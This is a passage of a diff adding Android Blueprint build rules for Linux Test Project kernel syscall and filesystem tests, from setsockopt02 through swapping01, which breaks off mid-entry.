+    stem: "setsockopt02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setsockopt/setsockopt02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setsockopt03",
+    stem: "setsockopt03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setsockopt/setsockopt03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_settimeofday01",
+    stem: "settimeofday01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/settimeofday/settimeofday01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_settimeofday02",
+    stem: "settimeofday02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/settimeofday/settimeofday02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setuid01",
+    stem: "setuid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setuid/setuid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setuid01_16",
+    stem: "setuid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setuid/setuid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setuid03",
+    stem: "setuid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setuid/setuid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setuid03_16",
+    stem: "setuid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setuid/setuid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setuid04",
+    stem: "setuid04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setuid/setuid04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setuid04_16",
+    stem: "setuid04_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setuid/setuid04.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setuid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setxattr01",
+    stem: "setxattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setxattr/setxattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setxattr02",
+    stem: "setxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setxattr/setxattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setxattr03",
+    stem: "setxattr03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setxattr/setxattr03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sgetmask01",
+    stem: "sgetmask01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sgetmask/sgetmask01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_shmctl05",
+    stem: "shmctl05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ipc/shmctl/shmctl05.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_sigaction01",
+    stem: "sigaction01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigaction/sigaction01.c"],
+    cflags: [
+        "-DGLIBC_SIGACTION_BUG=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigaction02",
+    stem: "sigaction02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigaction/sigaction02.c"],
+    cflags: [
+        "-DGLIBC_SIGACTION_BUG=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigaltstack01",
+    stem: "sigaltstack01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigaltstack/sigaltstack01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigaltstack02",
+    stem: "sigaltstack02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigaltstack/sigaltstack02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sighold02",
+    stem: "sighold02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sighold/sighold02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_signal01",
+    stem: "signal01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/signal/signal01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_signal02",
+    stem: "signal02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/signal/signal02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_signal03",
+    stem: "signal03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/signal/signal03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_signal04",
+    stem: "signal04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/signal/signal04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_signal05",
+    stem: "signal05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/signal/signal05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_signal06",
+    stem: "signal06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/signal/signal06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_signalfd01",
+    stem: "signalfd01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/signalfd/signalfd01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_signalfd4_01",
+    stem: "signalfd4_01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/signalfd4/signalfd4_01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_signalfd4_02",
+    stem: "signalfd4_02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/signalfd4/signalfd4_02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigpending02",
+    stem: "sigpending02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigpending/sigpending02.c"],
+    cflags: ["-DTEST_SIGPENDING"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigprocmask01",
+    stem: "sigprocmask01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigprocmask/sigprocmask01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigrelse01",
+    stem: "sigrelse01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigrelse/sigrelse01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigsuspend01",
+    stem: "sigsuspend01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigsuspend/sigsuspend01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigtimedwait01",
+    stem: "sigtimedwait01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
+    cflags: ["-DTEST_SIGTIMEDWAIT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigwait01",
+    stem: "sigwait01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
+    cflags: ["-DTEST_SIGWAIT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sigwaitinfo01",
+    stem: "sigwaitinfo01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
+    cflags: ["-DTEST_SIGWAITINFO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_smack_notroot",
+    stem: "smack_notroot",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/smack/smack_notroot.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_smack_set_socket_labels",
+    stem: "smack_set_socket_labels",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/smack/smack_set_socket_labels.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_smount",
+    stem: "smount",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/fs_bind/bin/smount.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_socket01",
+    stem: "socket01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/socket/socket01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_socket02",
+    stem: "socket02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/socket/socket02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_socketcall01",
+    stem: "socketcall01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/socketcall/socketcall01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_socketcall02",
+    stem: "socketcall02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/socketcall/socketcall02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_socketcall03",
+    stem: "socketcall03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/socketcall/socketcall03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_socketcall04",
+    stem: "socketcall04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/socketcall/socketcall04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_socketpair01",
+    stem: "socketpair01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/socketpair/socketpair01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_socketpair02",
+    stem: "socketpair02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/socketpair/socketpair02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sockioctl01",
+    stem: "sockioctl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sockioctl/sockioctl01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_splice01",
+    stem: "splice01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/splice/splice01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_splice02",
+    stem: "splice02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/splice/splice02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_splice03",
+    stem: "splice03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/splice/splice03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_splice04",
+    stem: "splice04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/splice/splice04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_splice05",
+    stem: "splice05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/splice/splice05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ssetmask01",
+    stem: "ssetmask01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ssetmask/ssetmask01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stack_clash",
+    stem: "stack_clash",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/cve/stack_clash.c"],
+    cflags: [
+        "-D_GNU_SOURCE",
+        "-Wno-infinite-recursion",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stack_space",
+    stem: "stack_space",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/vmtests/stack_space.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat01",
+    stem: "stat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/stat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat01_64",
+    stem: "stat01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/stat",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat02",
+    stem: "stat02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/stat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat02_64",
+    stem: "stat02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/stat",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat03",
+    stem: "stat03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/stat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat03_64",
+    stem: "stat03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/stat",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat05",
+    stem: "stat05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat05.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/stat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat05_64",
+    stem: "stat05_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat05.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/stat",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat06",
+    stem: "stat06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat06.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/stat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stat06_64",
+    stem: "stat06_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/stat/stat06.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/stat",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statfs01",
+    stem: "statfs01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statfs/statfs01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/statfs",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statfs01_64",
+    stem: "statfs01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statfs/statfs01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/statfs",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statfs02",
+    stem: "statfs02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statfs/statfs02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/statfs",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statfs02_64",
+    stem: "statfs02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statfs/statfs02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/statfs",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statfs03",
+    stem: "statfs03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statfs/statfs03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/statfs",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statfs03_64",
+    stem: "statfs03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statfs/statfs03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/statfs",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statvfs01",
+    stem: "statvfs01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statvfs/statvfs01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statvfs02",
+    stem: "statvfs02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statvfs/statvfs02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statx01",
+    stem: "statx01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statx/statx01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statx02",
+    stem: "statx02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statx/statx02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statx03",
+    stem: "statx03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statx/statx03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statx04",
+    stem: "statx04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statx/statx04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_statx06",
+    stem: "statx06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/statx/statx06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stream01",
+    stem: "stream01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/stream/stream01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stream02",
+    stem: "stream02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/stream/stream02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stream03",
+    stem: "stream03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/stream/stream03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stream04",
+    stem: "stream04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/stream/stream04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stream05",
+    stem: "stream05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/stream/stream05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_stress_cd",
+    stem: "stress_cd",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/stress_cd/stress_cd.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_string01",
+    stem: "string01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/string/string01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sugov_latency",
+    stem: "sugov_latency",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/sugov_latency.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sugov_stale_util",
+    stem: "sugov_stale_util",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/sugov_stale_util.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sugov_wakeups",
+    stem: "sugov_wakeups",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/sugov_wakeups.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_support_numa",
+    stem: "support_numa",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/numa/support_numa.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_swapoff01",
+    stem: "swapoff01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/swapoff/swapoff01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_swapoff02",
+    stem: "swapoff02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/swapoff/swapoff02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_swapon01",
+    stem: "swapon01",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/swapon/swapon01.c",
+        "testcases/kernel/syscalls/swapon/libswapon.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_swapon02",
+    stem: "swapon02",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/swapon/libswapon.c",
+        "testcases/kernel/syscalls/swapon/swapon02.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_swapon03",
+    stem: "swapon03",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/swapon/swapon03.c",
+        "testcases/kernel/syscalls/swapon/libswapon.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_swapping01",
+    stem: "swapping01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/swapping/swapping01.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_symlink01",
+    stem: "symlink01",
